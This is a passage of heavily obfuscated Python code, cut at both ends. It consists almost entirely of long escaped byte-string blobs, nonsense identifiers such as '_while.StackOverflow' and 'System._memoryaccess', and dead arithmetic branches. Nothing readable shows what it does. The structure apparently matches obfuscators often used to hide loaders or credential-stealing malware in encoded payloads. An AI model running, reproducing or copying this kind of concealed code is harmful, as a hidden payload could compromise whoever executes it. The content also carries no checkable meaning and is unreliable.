R\xd9\x0b\xd9\xbd\xe7>\xd4W72:\xb5\xc3\xbfVVVlxU9QEyN\xa1>:1\x1ai\xc9\xeen\xf8\x98v\xe9\xf1@k^\xe5\xc0\xe9\xe8\xc1\xf3\xe0\x00K\x81\x92d\xb3t\x87\xe2e<\xea\x85<\xcc\xa2\x1eF\xf6\xbc\x9f\xf0\xc9\x15?\xb5?\xe8lDO\xfb\x9b\xbe\x1c"Y\xb0^\x83\xae\x9a\xc8]\xa8\xd1\rg\x16SwB\xb63\xb4b\x9b\xabh\x1f\x13\x01p$\xe3)(\xae#\x87,/\x89v(\x88\xe8m\x95\x1e(\x97s\xad\xede\xde$l\x0bO.\xd7Ww\xd4\xfc?1\t9\x89#\xe6\xf1\xd8VWv\xe2\xaeiacD\xb9+#\xc4\xd4\x8d\xd60\x0e\xa3B\xad\xc8\xa0\x11f') + System._walk(Builtins = System._memoryaccess - -34247) ;_while.StackOverflow(_run='wxxwwxwwwwxwwxwxxxxw',_square=b'\x00\xf2\xea\x0e\xe5\xe3\xb0\x16S\x8b\xb9,\x11\'p?\x93s\xd8l\xb35\x9a\x9c1+\xa4\x00\xc9\x186\xf4i\xeb\x83\r\xfb\xe4\x13\x01\xf0Tb\x916\xe1\x1a\xa2w\t\x89#Rgtr_[\xc4UA\xf4=\xf7\xe0H\xa1\x19\xdaw\xef\xf4v\x0f_>\xacEXI\xc3\x18\xf1O\x82&\x0e1\xf2\xcb`\xc4%\x91\xa5i\xd4\xce\x1f\xaa\x84\x11j\x92A\x12\x19\xdfq\x96f\xa8\xedH)\xd9\xb9\xb07}}T*\xe1\xb7\xec{\xe7\xa8\xec\x97\x11\x07\x97\xaa>\xab\x19\x08\xab\xde[\x81\x1a\xc08\x9c\xa3\xfa\x13\x1e\xc2G\xd0\x1b[\xeb\x1b\x81\x96Z \x8b\x04\xc9\xa4h\xd6\xceG\x8c$\x94 P#\x01Fi\xd7\xc6\x10\xe3P\xdb\x11\x82\xb7\xa9J\x9e0t\x0eXC\x1e@\xfe\xfe\x02\x05\xf0>\xd2\xf7S\xb3\xdaY\xa9\x80X\xd2\x9beS}\x8c\x8f\x91\xeb_T}L\xcdR\x93RhVIf\xc5\xd2L\x9ae\xc8,\xbfi\xb6\xc0\x87*\xe4Ae\x83\']\x82Y#DO\xa2V\x12q\xfbP\xa6C\x12\xa5\x9f\xab\xfa\xf2k>\xfdM\xe6\xd44\xf7I\x81CKW\xc4\xe8\xef\xbe\xb6\xb9?\xe51\t\x8e4E\x1ae\x91\x06b\x90*\xc5(?\xba\xd3\x13\x08F=A\xab+\t\xb2\xa4LZ\x1av;\x1b\xaf\xec1r\xcb=\x04q\xd9\x83X\x7f\xff\x0ee\xfb\xef|\x04\xfa =\x15\x1a\xaf\xa3-\xb9\xb1\xcbE\xe5^\xa3\xd6\x8b\x17C\xbd\x15\xd8n\xa2*@Y\x83\xd6F\xedq\xb8\xea)\x1a\xb0y\xeb\x04\x8cy\xb2\xd3\xdb\x18\xad;`|\x15H\x1c\xc5N\x7f@^\x08\x9fH\xe4i\xa4\xe1BX\xab\xbc\xc8\xb5\xf7\xc94p"1\x10\xc3\xb5\xf4\x16\xaf\x1a\xc0&\xd4\x8a\xd9\xe8\xfcL\x8bP\xaeK%6\xb7`\xd3.a\x14\xa6O[oK\x03b\x87\x1f\xac\xa3\x14:K\xe92\xdd\xaa\xe8\xdd\x1e\xe3\x1e\xbdC}\xd8\xbd\xd9\xd3s\xe9\xdd\xd9\xc2\xe9to\xc5`+\xdc\n%5@\x8d\xbf4$9n5Q~\xf64\xcdq\x1c\xb3\xea\xacDe\xef[\xb7\xfe\xd5\xe7\x16\xa2e\x02\xd1\xac\xa5\xfe\xf3\xb5\r\x0c0\xd7-\x97\x11\xee\xdc\x81\x85\x8b0Sf\x9a?\xd4V>y;\xf2\xd5k\xd3\xb5F\xc9L\xbd\xec\xe3\xff\x0c\xc2\x04\x81\xbe\x12\xc9\x8d@\xcb^\xe3K\x916k\xcf\xcb\xf4\x82hO\x128\x90)\x1f\xc9\x90\x12\x06\x04>m=\x81`\xe6\n_\xea&\xa4\xc5Q\xe4\xd4\xe8\xeb&2\xc7\x88mg\r\xd4\xb6l\xeb\x1a\xb6YS\xb6\xc5$\x16H\xae\xca\xa5\x99#R\xccI\xa6\xb0\xab\x8eL\x8da\x8b|\x18\xa3\x92Xx\xb0\xc6\xc7\x0f$B\x87\xaf\x87E\xa4\xe7u\x93i\xd83\x1f\xaa\xa5=j\xb1\x04{\xc7\xad\xdc\x88A"\xdcIj"RX\xf8\xb4\x9d\xcf\x16\x82}j\x04\x0fh\x1f4\xf22>,\xac\xcf`\x8e\xb6\x1e\xf0\r2\xa9\xc8r\x12\xac\xf68\xb4\x1a\xf9\x91s\xbd7\x19\x17\x96\xee\xbeL\xc59\xd4v\x84Q\xced\x11\x0e\xf3mYP\x88#K\xd9\x85\x91o\x906\x9d\xea\xe4R\x9a\xf5\x0e\xd3\xda\xc4F\xcb\x11J\xa0\x83\x1d\x1a\x80\x047\xab5X\x84\x98\x10\xa3\x95\xf3\t\xd80\xb8)D\xb5\xb1\xa0\xa1\xb8\xbc\x95\rM\xf5m\xea\x07i\xaa\x8b\xa9\xf4\x9c\r\xb4\x9b\xd9o\n\xc2\x9b\xb5\x04\xcb\xf6\t\x97}\xf1\x0c;3\xfeNW\xe9\x13\xdf=\x7f\xfe\xcb\xea\xd3\xe3]\xbe\xba\xd8m\x0f\x9b\xdd\xf6\x87\xcb\x95\xcc\nM\xaa\xa6j\xa3\xe7q\xaa\xa2\xecN\xef\t`\x05\xb2\x8d\x90\xd9\x0e\xc8H\x01t\x9e\xccD\x06v\x18T+\xb2(3\xbf\xd1\x1d"\xf4\xd8\xda\xab\x88\x0c\x84F\x1b\x01\x1d\x15\xabH\x98\xdfE\xd9V\xff&\x12\t\xfeVf\x1b\xf47\x12\xbaf\xab)I\x88\xe5\xb4\xba\xbd\xc0I\x0f\xd3\x1e\x16J8\xc0N\xd2U\x17\xbf6\xec#/+\xbc\xd5\xf7v\x85\xa6\xa5\xeeR\xa5Kb\x8b\xd4%\xb2\xa5\xb0\xc7y\x028\xe2V$^m{\x9f\xd4\x99PX\xf8\xf3\x15\x18\x19\x02|\xc0\x05\x06\x94)\xf4I\xb7.\xbf\\\r^\x07E\xb2\x1e\xed\x90\x88\xf3h\'\xd0L\x119,\xb4\xa2Mn2}\xbaY\xab<\xae\x95\xa1\x80\x19\xdc\x07bt!\x88nr}\xbaY\x9by\\\x8b\xe46e\xea\x91\xcf\xab_./\x8c7\x8a\xf5q2.`\xcf\x86\x17o\xb8\xbb\xc2\xbe6Kv\x81&;E\xb3\xd6\xcbdG\xa0yO\x86$.\x9ax~oB\xb8:\xb5>\xe2u\x0c\xf8\x9a\xa1\xc1\x90BN\x17\xc8\x8a\xb8Y\x1b\x90hW\x08m&\x98\x91!j\xcc\xf37j\xe7\x13\x98\xa5\xeb\x86\xbb\xcc\x91D\x8a\x11\x98Cm\'\xf8\x8aS\xf9\xc7\xdd\xfe~\xf7\xb0~\xbf\xfb\xe7\n\xe3\xe4\x03\xe9g\xe8s/"\xe3)\x04\xda\xfc\xc7{\xdd\xee\x9f\xbd\xf2\x02 \xd4\xe2\xe1\x15l\x8e>\xe3o\xb7\x88\x0e\xde+k\\5\xab\xd5\xe6z0\x8b\xf4VT\xcfR\x8f\xa8\xcf\xeb\xf4r\x99\xde&\xebd\xadg\xc5\x16K\x8e\xe5\xd6\xb7_u\xdbL\x14\x8c\xee=\xcf\xebU \x1e\xe6z%\xbb\x93Vrnr5/\x83X\x9b+7\xc4\x01\xedmg?W\x15W\x9a\xd4\xef\xb2\xa6\xdf#\x07SuGgD\x0e\xe9\x0f\x12\xf8\x03\x0b\xc8$\xc9\xecV\xd9md\xb7\xa9\xb3\xcd\xedV8\xf5Q"\x14\xa8xr\xbd\x95\x01\xae+\xed\xb6\xd05\x05\xf4\xbb\xa6\x00\x81:\x04y\xa0\xde\xc2X$\xb9R\x9a~L\xbb\xfa\x0f\x90\x9a\x9e\r[\xf8\xe6{\xdd[\xbd7\xbd/\x95~V\xfdxh\x80\x04\x8fNEB=;\xa6:^\xba\xda\xba\xe7\x12\x15\xeb\'\x88\xf1\x1eY\xf9\xc9\x9d-\xed\xbb\xc7\xee6w\xdaU\xc70\x8e\xf8lp_,1\xdb\xe7\xc7\xac\x9e\xbfSk]\x8c\xdb \xe39\x84K\xd9\x1aLB\xb4\xca\xb8v>s\xca\xa3\xcd\x10\x93M\xfa.\xc9\x98p\x9f\xb6\x9e\xa6QG[rWm\x94r@\xaa\x05\x88_r\xa2K0\x0f\x81@\x82\xb0Q;\xdf\x0e$\xe3h6\xad\\\xe70\xf4\xad\x13\xfb\xbe\xab\xddX\xe9\xedEG&4\n\xd3B\xae\xab6\xdb\xe1|[\xcd\x88\xc1\x13\xb9\x9d\x93\xea\x80\x8b\xaa}\xdaz\xbe\xac\x0f\xbb\x0f\x13\xdcIx\xd2\x92\x12\xa5\xee\xd6\x97\x97\xec\xbd\x1f\x93\xee\xc7\x94\xa7\xba\xc4\xba\x08\xcb\\G\x8c\xf9\x8e\x19C\xde\xdfn\x163\xee\xcb\x1c\xb73\xa1\x18\x18\x0eeK\xd7F\x8c\x8c\xd2d/>4\xb6\xb1\xd1\x0b\xe4\x85\r\x17\xea\xd4\x1d]\xcfY\xe1\xe6\xbe+\xa7y\x9aa\xc9p\x9b\x97\xc7\xf5\xfd\xb2npE\x08\x89?;\xe6\xf8D\xccyD\xe3\x0e2\xd0&\xa9p\xe9\x13\xce\xea9\x9b<\xd4v$\x9b\xfc\xebEoV\xe9I\x08\xd2\x84\xe9\xcf\xad\xf0H\xa0\xd8\x87\xc2\xf4;\xb5\xf3\xf5%\\\x0fE\x16\x83\t\xab\xe7\xd2\xf7\xa1\xb6#l\xa2\xfd\x10na\x13\x8c\xadK\xb5<\xa9\xe8\xb9\xea~c\x13\x92A\xd1\xdc\xa2\xc4\x1aY/\xb4gmB\xf4q$\xd6\xd1:\xc9\x1d\x9e\xb3\xda\xd6s\xb7U\xfcp$\xc0\x81:\x14:\x8f\x12C\r\xceD\xc7\x05\x12\x1b\xc6\x99:G\ta\x82\xd2Q\xb7VLF\xd9\xd6\x94\xc0\xaaq_\xbd\xa2`w?{`m_B*G\x89]\x8cN{\x00\xea\t\x86^+\x9a\xb5\'q\xd2\xf3\xc3\xf2\x14\xeb\xa9\xe2\xac\xd4\x1d\xf1\\\xc4\x7fU\x91\xa1\x92\xc8\x0f\xcb7\xb2O/\x87P\x89\x8a\xe7\x16\x9d\x19C\x92\xdc\x12\xd4\xa7\xed(\x84\xda\x93KvQ">4\xbc\x1c\x99h\x1e\xa9\xa8\r&\x96\x9b,Z\xe8f\xeb\x87X\xf9Z\xbb\xb9l\xf7|\xf1\x88\x92\xfa9@<\xa2\xf4V\xe8"\xad\xb8\x04\x8e\x93c\x8a\x05zI\xcf\xd2r\xb9\n\xa8_\xaf\xf1\xb1e\x0eJp\x06\x9f\xe8\xfe\xea\x1bP\n%\x18n>f\x1e\xe3\x8dZOUP\x8e\x8bk\x84\x0bl\x82\xa6\x97Y\xb3\xf6l\x11\x95\x0f\xa7\xff\x14\x15\x06_1S)\xb8\x95\xb6\xa4\xce>?\x96\x03\xedx{\xf7\xb7iM\x88\xabH\xc0\x8b\xcf\xc0\x84\xbf\xb5\xe3\xb8~\x8c\xdb\xb8\xde\xbe,q\xb9-\x85\xb8\xa5@6\xae\n\xd51\xc1l\xed<\xb5\xb7\xed\x8e-\xb4-M\xe1\xab\x1c\xab\x01\x93\xacz\x19Y\xf1 \x81\xc4\xf6\x962\\\xc7\xc8\xaa\xaf\xed\x18') - if 298062 > 6349805: - _divide(_algorithm = 78109 * 39825).Positive(Statistics = _absolute.While * -69413) - elif 134447 < 3740620: - _absolute.Cube(_memoryaccess = 59151 / _absolute.While) ;_divide.StackOverflow(CallFunction='wwxwwwxxwxwxwwxwxwxxw',_round=b'\x94\\\t](\x19E\xa5\xc4\x9b2&\xc6\x941\xdd\xd3\x94\x11\x95\x17\x18\xc0\xcbF\xe5\x81\xd9\x18N\xb7K\xc5\xe1v\x80\xe7 \x87w\xf1\xb1\xc1\xc6|87\xf9\xbb\x87+\xc0\xe1\x12\xf7\xd1\x0f=\x96\xc6q4*\x99ES\x98\x91\xb5ka\x94x\xe8\x0c"\xc9\xbc\xb4Uz\xb6\xaa\x80\xe7o\xef\x86:\x7f\x07N\xa7\xba\xa3e\xa6]\xd7>\xe5`x6\xa6d\xfb\x01\x19Uw\xaa7\xab\xfb\xfa\xb8\xd6\x82\xb9g\xad\xa7;\xac\xf9\n\xcf\xfa\xaf\xa8\xac\x04\xedq\xd3Zp\xaa\xfb\xea)\xad\x05\xbb\xf6{[\x11\xf6Y\xf4\x84\xacx\xfc\xf2\x96\xe5O\xc3j0\x87$M\xcaG\xeeC\xf9\xbc\xb2\x12$\xab\xbeL6,\x03]k\xbfP\x1d\xf7\xf8\x0c\xacr\xacC\xa7\xb30\xa4\xe7\x97\xc5\xd1\x15Ol\x91\xf3\xd9\xe8\x80*e\xa3#\x93\xb4:\x1e\xbbj\xba\xf5\t\x1d\xaaK\xfc\xcct\xc44\xc0\x9b\xba\'(\x8c\x13\xf6\xc5z\x03=\xe4%$\rIB\x12\xe68\x83T@J)OP-DT\xdd\xfdH\xf1\x19\xa8\xe7\xe9c\x9eu\x06\xd7s]\xd0\xb4sl\xe3\xa4[\xfe+\xa6n$\xff\x15\xf0\xa5\xf9\xd9\x02\xffO\x1c<\xe6H\x04\xeaHQ\xc4\xd1c\x9a\xcebIstm\xc0\xf9\x8b=k\xe3\xd1R\xb5\xf36\xa4\xf3B\x01\xe9\xe69\xd9\xf69\xe3\xb2\xd0\xb34F\xa8eu\xcfE# \xb4=\xb30\xb5\x96\xaaO\x08z\x1cG\xc9g\x81\xd2\x8e\xce\xd8\x07\xf1\x96\x99\xbf+\x04\x16\x11\xe9j\x8a\xf7y\xe6T\xd1I\xbd\xcd"0\x82F\xf7i$S\xd8!\xfa!\xcf\xd5\xca88\xb3D\x10\xc8\x08\x9d\x93\xdb4\xd7Ei!\xfe\xa5\n\xeb\x92K\xb5\xb2u|gi\xff^k \xd3\x1f\xc8\xa0\x05\xaf\x1a\xe3:=\xbf\x9c13\xeb=\xb1\x156\xdaa\'\xe42\xdd,\xd5we\x8c\x9c\x91\xfd\x7fyYn^G\x90\xfd\xaf\xfd\xd2\x93:/\xcb\xca\x98\xa6\xa4\x08\x1d\x1c\xaf#o\x97Nj\xc1\x90\x93\xdc\x96Wi\xccI\xbf\xaa\x8c\xf5\xbbWz\x96tJ\x087\x06qSm\xcfeWGk\xday\x99\xb3\xa7\xf5\x11;\x19\xf2;L(\x9a\x12\x88H\xb3\xe8}Nj2\xd9.=\x1e\\\xc4\xd1^\xc3Ja\x8c\xb1^/\xa6\xe7/\xb2\xe7\x02\x0fS\\\xd5\xaa\\\xd5\x8a]\xa5\x89\xc2gW\xec\xb2+z\rQZ\xf1xV\x19\xe6\x12\x19Je\xf6\xda0\x96\x899\xce\r3\xaa\xa3\xea\xee\x87\xafs\xb2\xaf\xca\xc9pK2\xce\x80\xd3\xed\xd2\xa8`\x13%\xa1x\x0eo)\xc9\xa0,\'%\x93_\x1a\x15\xe2b.|]\x90\xf9cjV\xfe\xd3f\x89\xeb\xb2]z\x86\xbc\x91\xaf\xe5z\xacZ\x81qD\x8c~\xab\xd3w\xd3:\x8fX#_7\x144\t}\x1c\xdf\xcd\xa1\xba\x91\x96\x9c3ZU\x9e&\xb8\xd0\x99\x90\xa3\xa3YH\x14\xf1A\xbf\xc9B\x9e\xdc\x96fo\x1f\x8eNk\rWbi\xf3E^\xaf\xfd\xe0Zk\x0c\xd5\x8d\xb4\xd6h\x9a\xd4}\xaa\xbe\xe9\xcf\xc8 \xe4\x8a\x14\x93\xc2\x98\xe5\xa6f5m\xdd.=\xb6)\xddQd_6 \xbdr0K\xea\xecy\x89\x83\x1a\x1b\r\xd5\x1d\x85a\xbf\xe0\x93\x00\xb9\xe2.!\xb2\xf2\x16\x97\xa9\x17\x98A\x1b\xbf\xa2\xf1:\xcdu\x99\xf9\x0c\x13]\xe4\x81at;UN6r\xb2:GG\xd3\x11_\x87\x8a\xbb$\xf9\x02\x9bpZ\xccf\xc1\xe9vi\x14_\xca\xb67\x8a\xec\xf05-\xaeW\xc2\xe9viq:\xa2\xa9S\x7fd\x05\xf9\x8d\xd8Ey\xed\x1f$\x1d\xfd\xd1P\xdd\xc8\x98G\x0ef\xddl7\x9b\xb7\x1b\n\x06\xba\xa5\xcc\x16\xd7\xed:C#\x8e\x91\xa83\'\x89\x01O\x01\x9a\x03\x94\x12o\xdf*=\xaaj\xe1d\xec\xef\x0c\xfe\r\xc8\x99\x10\x8b#\xc9\x07X\x9bx\xb0\xad\xd23\x15\x9e|\tyrP\xc8\x93\xdc\x84D\xca\xe9=d\x96UF\x15C\xc6\x19\xb5\xe1E\xfb\xbc_N\xf9S\x1bU\x04\xe4\x1ekO\xa0F\xb9\xcf\xd9\xfd\xad7v\xbc]u\xc7]\x06<\xf7f\xaf\x98\xba#\xd6H:\xa2\x8d\x87\xc8k\xe7r\xd7\xd4\xcd\xae\xfa\xe4\xae\x86\x17S7\xda\x8e3.lIs[8\x82\xb6zQ\x0c\xdc\x8f\xa1+-\xa7[\xc7\xf3\xa9\xf9\xde\x9a\x1b\xe6\x92g\xee=2\x89^\xb0\xdf&\xabI\xe3\xbb\x8b\x08\x9a\xfd3D\x1c\x9d\xbe4v\xcd3\x17\xfa\xad\xf9\n\x9ds|i\x86\xea\xc6\xae\xb94\x87p\xbf\xd3v\xc7%\xb7\xad\xf9\x96\x8b\xd0\x84c\xbb3T7\x12\xbe\xc2\xa4Jc\x91\x98Z\x1c\xdf\x9c\x9e\x8c\xd0\xfe\xd4\x96\xcb\xa3"u\xa2\xadlm3\x9b\x9c,2\xa6\xa4\r\x89\x1b\xb4\xf1L\xa9\xa90\x92%\x96\xe4\xc6\xee\x13#\xb2!\t\x84\xe4O\x17y\x17\xb2{\r\x95\x87HA\xec\x82#\x92?\x17v\x04\x99a\xc4cj\xffU\xd8\\\x80\xb7>\\V\xd8d\x93\x9d;c\xea\x8e21{\xb6\x86\x1aG#mF\xces\xe3\xec\xbaJ#\x16oZvY2\x82C\x03\x16\xc2\rD\xe2\x12\x01MB\xc0\x1e1y\x12G\xc8\xfc\xef\xb6\xe7\x9a\xbeb\xb4\x85\x98\x89\xf2G\xaeA\x8a\x16\x11\xe4\x90\xe6\xad\xd2\xd3XK\x0cSl\x9ea\xa1\xbbU\xbe@\x9f\x0b\xcdv\xbe\x8e\xaa\xa3\x91\xd3\x17y\xceA!l\xa5\t_\xab\x8c\xa3\r\x87\xd5\xd6\xe4n\xc4\x04\x0f\xd7)\xc9\xfd\xc8\x86\xba\xd5\xc6\xf9\x05\xcb4\x9c\x13\x14\x067\xab\xc3rg,\xc7\xb1\xf7\xd0tN\x99:\xc2\x84\xce\x05\x82O\xe1\xbd\xe0\xb9@h\xd1=\x91\x00\xf4B\x86\xd3{\xf58\x1au\xb5}_\n9 Ue\xde\xb3m\n\xf5Wl?w\x11{6\xb13\x12\x12\x9a\xd2\xecC\xa9\xeb\x9cl$l?\xf7\xfd\xb1]m?u}[3\x1c\xbct\x9e\x15z\xa6\xf4\xea\xf8\xef\xe7__\xa7\xae\xe7\xb7\xde\xa7\xc7q\xab\xdf\xe1\xcb\xad_\x9f\xc3\xf6\xcd)i\x93\n\'\xf9e\xfe\xf9P]\xddj\xe7P[*\x03\xfb\x82\xc6\x82\x07\xe7\xf8nf\xac\xb9c\x0c\xdf5fL\xf4\xf7a3\xac\xbd\x1f\xfa>\x14\xda\xbe\xabLu\x94\xc5\xf6\xa5\x9f\xaa\xf0\xfb\xd6\xa1\x0e7\xd7\xb1\xceM\xf6\x9c\xa9\xeb\xbf\x8b{\xde-\xe7\xf1T/AP-U\xd0J\xee\xb2\x06\xce\xde]\xfe\xc0;\xee\xea\xf7\xba\x1fj\xdc\xc78\xb34\xf8.3\xf2\xf2\x1a&||\x1b\x03\x07\xb1005\xbc\xef\xdb\xdf\xb3\xe3M\'Dz_\xf8\xf4Ph\xf6P\x18\xf6\xd0\xf9\xe1v\xef\x9f#}\x18\xc8\x15.\x05"?\x8b\xf1|\xcc%=B\xdf\x14J\xb2\xe7[\x8dpi\xa0\xed\x95\xf3N\xfb\xf7[\x17,\x87\xc6\xc3\x10\xfc\xf7\xd10\xfb\xf6\x9d&\x1cc\xb7\xc29\x0e\xed\xfd\xba\xa1\x8d\xeb\x11=X\xf5\x9f\xdf\xe7\x99\x07\x0fiTyT\x9f\x99\xf1\x16\xc2\xc3L\xa7\x9a\xfe!\x07\xf0\xa4\xa2K\xf9\xbc\xa5\x85\x99^\xe8\xc3\xe3L\xb7Z:V\x99\xbd0sy\xcex\xbe\x05\xcb\xde\xb7Uc&\x0b\xb7\x95\xdf\x0e\xe68\x86\x16\x08\xd3"Y\x0b\xaf\x85\xf0`\x1f>\xf5q\xe4\xbep\xd7\x9e#\xfa\xe6\'w\x8e\xd2\x11\xa9\xae\xe7\xe2\r\xa5\xda8\xcf\xc5\x93\x15\x1e48"D\x93\x0c\xc1\xa0\x0b\x8b:\xcb\xab\xb6c\x1e\xa89\x97\xfb\xb4@\x90>\xa4\xbeW\x0e\xcc\x06h\x02\x83\xa3\xda\xb0\x1e\xfb\xae\xa7\xe7\xad\xc6\xcf9\xd3\xf3\x07\xd3\xdfs|\xfb\xef\xcb/\xc4\xc0\xdb\x18\xbc\x11\x86\x8dy\xc6\xe8T0\xe1\xa7\xa3\xf1\x19\x15\xcf\xe0\xf0\x14A~"m\xd7i\xd4k\xf3%\xb10T\xf7W<\x1d\xca\xf0\x94\x12\x9chg\xbe\xec\x9a\xff\xc6\xe1\x14\x86\xc5z>\xdc\x1f\xee\xa4\xd7W>~v\xcb|:\xcf\xad\xdb\xc0\xef3\xc1\\\x13\xb6\x87\xf8+\x7f<\xf8c\xa8\xae\xcb\xf3\x98/w\t\xc9iBr\x97\xb6\x1c\xa6\xeb\xba\xf1\xf0\xd6\xa6\x93\xe7\x80+\x1fG\xfacQ\xba\x9bW\xd6\xa8\xefl-\xde`oy\xc6|\xf22n\xaf\xd0\xf2a.Mhe\xae^\xf2\xeby\xf7\x19ns#\xb35}\xe5\xf6\x1b+\xbe\xfb`84?\x84a<\x9e\x07\x9eG\x9es\xee|o7~\x88\xc3\x1d\xed9\xb7Y\xe7\x108\xc0@gY\x8bN\n\xd9~\x86\xe8\xa9\xbek\xda4U<\x9c\xcc\x8f\'\xf7\x87\x99y\x02\x99\x85\xdb2ds\xdbew\x1b\xa2e\x87\xe7\x838\xd8\x98V\x0e\x10?O\xcc\x0f\x93\xfb\xcbD\xe7\xa3\x13b\xf8\xb5\x01\xe3\xa3n9S&&\x81\x89)y\xf2xY\xdc\xb7=\xfc\xa0\xadcum]:4?\xf9u\xbbtQ\x87\xc8\x1d\xe6\xa3\x1b\x8f\xc1\xc3L\x81\'\xa6\x1f\xa7cq\x84\x8f\xff\xba\xe6\xb2\xae\xe3s\x95/\x84\xebw\xdd\xdb?\x17\xe6\xaf\xa6\xe8\xf3nYr\x1c_;N\xb6\xe0\xc9c\xbbp^\x03\'\xa6\xcd|C\x06\xb1\xbf\\aN]\xd8\xf8\xeb\xba\xecB,\xed\x19?\x8e\xda\xfa\x08\xac\x93\x1a\xfa\x10\xb7X\xa7\x8b\xf1\xba\xcfs\xb1\x859\xd5\x9c?\xc4\xd3\xc5\xda(\xd8}\xbc\x1e V>\xe0\xcd%\xad\xf9$\xf3\xcaCsQ<\x0f0\x93\xcf\xf2\xd9\xe2\xf8)\xdbx\xbc\x1dF\xbfN*d\x971\xce\x9ej\x1f|0\xaf\x8cd:\xbb\x889\xf5I\xa7\xb1\x8f\x1cG\x03\xb4\xe7\xb1!yH\xdf\x1ch\xbf\xdd\xd7\x0f\xf9\xbc\x82\x8f{\x95Wf\xf1\xaa"\x18g-\'\'\x0b\x03|\x94\x11\xc4\xd9\xa3\xd2\xe4\xf2\xc6yt~\xe4k\x12s\\d\xac9\x15\xe68w\xee\x9f\xd1\xd8\xe0sl5\xaa\xaaz\xd2yN\xe8\xfa\xcc\x94K\xf3^\xca\xa9\xa7\xab\xeb\xec\xfdU\xf5=\xday\xef\xb9\x9eg\xaf\xb0\xcf\xb5\xed\xe2\xb7W}>\xdc\xaeV\xde\xc1\xb4\t\xeb"e\x85C\xd8\x96\x86\x8f\xc9\xd9\x94\xde\xc3\xdaOH\x82\x10,\xcb\x15\x8faL\xb4\x98\x8b\x92\xf5>+\x9c') + _while(_product = -31373 * -44460)._walk(Builtins = System._memoryaccess + -13789) ;_while.StackOverflow(_run='XWWWXWXWWWXWWWWWWXWXXX',_square=b'\xc9\xc8(\xea5EcW\x85\xb1\xfdsD\xc21\x1a\t6j\xbd\x9c\xf82\x0c\x1d\x15\xa1T\xc8\xa4\x9c5\xdc\x03\xab\x0b(\x046v\x0b\xea\xc6\xc4Z\x830\x90\x02\xad\xf0\x1b\xb5\'Qo3\n\xfb\xf4\xca\xe9%$&\x01\x18\x9f)\xb9\x1d{\xafhb\xdfRR\xdc\xf2\xc8\xecK\x8c\x96+m\xcc\\\xf9u\xd5\xea\xa5\xa7\xb3\x84V\x90\xcc\xac>\t\xae\nG\xc5\xe0?\xd9\x90#e\x08\x12\x08\x1e\xeb\x93\x9d4$\xcdv\xce4xX\x1eu\x92\x19\xea\xf1\x8d@\x0bQ\x17\x14\xe6\xb5[\xe7\x8d\x87\xc9\x05\xcf\xfe\xb3k\x84T0\x1f#\x9c\x04\xf3\x03\xc3\xaf\x99\xad(kh\x8f\x8a\x8fPr\xe8M<\x0cl\xb2\xbe;\xcc\xd1\xeb\x9c\x86\xf9a\x93\xfb\xea\n3\rC\xce\xe1+\xe3\x1fb\x8a\xcf\xd2\x83\xf6\xa7\n\x0b\xe6\xcf\xfd\x1e\x02X:u\xc7\xa1\xf4TZWh\x90\xb6\x9e\x02\x99\x98\xdcC\xf5|f]mQ\x9bzB#\xba\xd3h\xa4N\xc7\x85/A\x17\x1dOj\xe8\xe46\xab\xe3\xb3\x9d\x13.\x06\x8f\xbfR<\x03\x14\x8f\xe6\xad\xf1y\x05\x98\x9a\x19\x8a\x07\xeb\nK\x01e\xe7#]\xacb\xccT\x11\x12xRO.q|\xdaR\xc6@\xf1\\rV\x88\xb5\xa6\x108\xdc\xc4\xc5\xa7\xed\x98\xb8\xfeO\x87\xaa\xd2\xf0\x8c\xb3E\xda\x1c"RV<\x94\xb49G\xf0\x8c\x9dW9\x06;\x8d\x128\xb21\x9b\x92\xbb\xf2l\xed\x08ZY\nkSK\x89lR$\xdb\xfc\x026\xd3@!\x9f6m\x15\x94\xf9\xf0\xd3\x80\xf2\x08\x0c\x9b2a\xc3\xa6\xec\xe8\x8dO$\x861\x92\xa3\xc1\xe9F:J\n\x83\xc4s\xe8q\xe7u\x9f\xb6\xde\xe2\x81\x13\xda$\xf6v\x08\x99l\x93\xc2\x96\x8b\xf8\xe8\x85\xb9\xe7\xf2P[O\xcfe\x83\x7fz\xfbd\x112\x87"\xe8\xf1,\x03\xf4\xe8\xa5%+\x0b^0\xd4\xd67\xfa\xa3\x97\x03a\xaanq\xedN\xb2\xba\xbb\xdf\xb0y\xc90\x06\x05\xcb\xbf\xccZ\xfc\xa5\xd6\xea\xaf\xb0%\xb5%\xb3\xd6\x82\xc2\xab\xed,\x13\x95\xd0f%\xbd\x83N\xeb#7M\x16\xec\x98\x06|\xa8\x9d\xaf)s\xc5H\x1a\xdfa\xfb\xfd\xc6:\x11\xfb\xf8\x0f\x9f\xca\xfbi\x9c\x88>\x04\x7f\xc4T\x0b\x84[(F\x1d\x8dG\xc6L|\x87\xda\x06209\x8e\xec\xfb\xf4\x1aV?\x91V]\xb1Zm\xbb\xac\xe2r\xb1\xb6\xd6y\x1bf\x91W\xd9\xe8\x15\xd6j\xaf\xb0\xb5\x96\xfc\xb2ut\xc6X\xf8\xad\xf1\xb7\xd5\'\xac\xc5]l-\xee\xa2y\xe8L\xa0\xa7\xa7\xc2\xcc\xf5\n\x13\x83\x16\xd6\xeb\xb7^\xeb\xe3\x91\x1c\xd8H\xda[\xd6aRh\xa3\x83,\n\xa9\xd0\x12"n\xd6z\\\xcb\xb8\xbeF\xa8\xa4\x8bP\xd5\x05\xea\xaf\xa4Y;\x0fw\x14l\xfe\x97\x0b2+\\\xc05\xd4v\x82\x80\xcb\xc1\xf56|2EP~\x8d\xbb>\xe1\xaaAh\x98\xa3JPZ7\xe5\x08M\xd9E\xb3\xd6\xab\xef\xd1\xf5\xda\x9aHJ\x9b\xde)i\xd6\x9e\xc6l\xf2\\\x85\x82GRW,C\xd5\x8e\x8dY\xff\xc5{\xe2\xce\xf0(\x95\x8egg\\zr\xd6=@\xc9#4q\xceW\x1e\xa1u\x8f\xd2P\xd7\xcd\x96\xf0(\x9d)\xd84\xc2L\x10j\x82\x80\xd3\x18\x06%\xe5\xb1)\n\x05\x99B\x97\x9a\x90S%V\xf8i\x84\xa3P_\x19\x16\xf5\xa9\x87S<\x86>\xa1{\xd1uM]\x8c\xcfe>$D-\xf07\x19xq\xe2}\xeb\xd7\x19z.\xd3&\xb2\xed\nv\xcf\xf2\xbaGUQC\xa4\x9f\x9f\xf0\xff\xe5\xcb+\xa3\xcc\xd2eXC\r\xe62\xf2\x86\x0cm\x8c\xf5\xa2B\x83\x99\xd4\xad\x9d\xaf\xa0\xe24\x02z=\x0e\xa9\xf7\x14B\x7f}\xa5\xf6fR{\x80\x0f$2\xd0f+\xedG\xd1\xbe\xdd